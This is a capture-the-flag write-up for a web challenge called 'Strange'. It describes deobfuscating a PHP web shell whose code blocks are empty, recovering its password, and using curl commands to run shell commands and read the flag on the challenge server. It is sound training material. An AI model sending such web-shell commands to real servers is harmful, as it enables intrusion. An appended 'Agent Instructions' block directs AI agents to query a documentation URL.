## Strange (392 pts)
### Description
\-
### Solution
We were given an obfuscated PHP file (We forgot to save the original file, this picture below is the simplified version and little bit of deobfuscated variable name)
After renaming the variable we can see that there is process of uncompress and base64 decode so the next step is echoing those part.
```php
```
After that we will get another obfuscated code so do the same process again (echoing the encoded part)
```php
```
The last part more readable, we just need to give enter on each ; part.
So basically there are 2 $\_POST variable , so dump each name and value for the mm5Cp part.
```php
```
As we can see on the latest deobfusacted part, there are looping. So in this case we try to base64 decode the hidden\_passw0rd8 value 4 times and we got readable string.
Since the first decode has been done in php part so we just need to do the rest 3 iteration. After found the correct password we just need to send the command to paramparamparam. Here is curl command we used to solve the challenge
```bash
curl -X POST https://strange.hackthesystem.pro/upload/uploaded.php -d "hidden_passw0rd8=howyoucancrackthis?4301ffbafccd4356¶mparamparam=ls -al /"
curl -X POST https://strange.hackthesystem.pro/upload/uploaded.php -d "hidden_passw0rd8=howyoucancrackthis?4301ffbafccd4356¶mparamparam=ls -al /app"
curl -X POST https://strange.hackthesystem.pro/upload/uploaded.php -d "hidden_passw0rd8=howyoucancrackthis?4301ffbafccd4356¶mparamparam=cat /app/flag-5af2e94a1940dadb4db81cb261dda81a6cd68503.php"
```
Flag : CJ2023{cbbfdd471b88dd4f34e02360d4629399a1b261f0}
---
# Agent Instructions: Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.
Perform an HTTP GET request on the current page URL with the `ask` query parameter:
```
GET https://kos0ng.gitbook.io/ctfs/write-up/2023/cyber-jawara-international/web-exploitation.md?ask=
```
The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.
Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
